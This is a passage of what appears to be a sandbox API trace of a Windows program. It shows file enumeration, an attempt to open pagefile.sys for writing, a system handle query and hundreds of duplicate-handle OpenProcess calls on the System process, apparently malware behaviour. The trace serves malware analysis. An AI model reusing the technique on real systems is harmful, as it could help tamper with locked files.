cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0083.032] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0083.032] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0083.032] FindClose (in: hFindFile=0x48c7028 | out: hFindFile=0x48c7028) returned 1 [0083.032] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0083.033] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\pagefile.sys") returned 15 [0083.033] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.034] GetLastError () returned 0x20 [0083.034] GetProcessHeap () returned 0x48a0000 [0083.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6580020 [0083.034] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6580020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6580020, ResultLength=0x0) returned 0x0 [0083.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.276] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.277] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.278] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.279] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.280] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.281] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.282] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.283] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.284] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.285] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.348] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.349] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.350] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.351] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.352] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.352] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.352] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.352] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.352] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.353] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.353] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.353] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.353] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.353] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.354] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.354] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.354] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.354] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.355] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.355] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.355] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.355] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.355] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.356] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.356] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.356] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.356] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.357] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.357] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.357] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.357] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.358] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.358] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.358] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.358] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.358] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.359] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.359] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.359] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.359] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.360] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.360] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.360] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.360] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.360] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.361] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.361] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.361] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.361] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.361] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.362] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.362] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.362] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.362] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.363] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.363] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.364] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.364] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.364] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.364] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.365] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.365] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.365] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.365] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.365] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.366] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.366] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.366] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.366] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.367] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.367] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.367] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.367] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.368] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.368] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.368] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.368] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.368] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.369] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.369] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.369] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.369] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.370] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.370] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.370] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.370] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.371] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.371] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.371] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.371] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.371] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.372] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.372] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.372] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.372] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.373] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.373] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.373] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.373] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.374] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.374] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.374] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.374] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.375] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.375] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.375] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.375] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.376] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.376] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.376] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.376] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.377] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.377] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.377] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.377] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.378] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.378] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.378] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.378] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.378] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.379] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.379] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.379] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.380] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.380] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.380] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.380] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.381] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.381] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.381] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.381] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.382] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.382] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.382] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.382] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.383] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.383] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.383] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.383] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.384] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.384] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.384] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.384] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.385] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.385] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.385] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.385] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.386] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.386] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.386] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.386] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.387] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.387] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.387] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.388] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.388] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.388] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.388] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.389] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.389] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.389] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.389] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.389] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.390] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.390] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.390] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.390] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.390] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.390] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.391] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.391] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.391] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.392] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.392] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.392] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.392] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.392] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.393] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.393] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.393] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.393] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.393] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.394] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.394] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.394] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.402] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.402] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.402] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.402] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.402] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.403] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.403] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.403] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.403] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.403] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.404] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0083.404] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0083.406] GetFileType (hFile=0x128) returned 0x1 [0083.406] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: 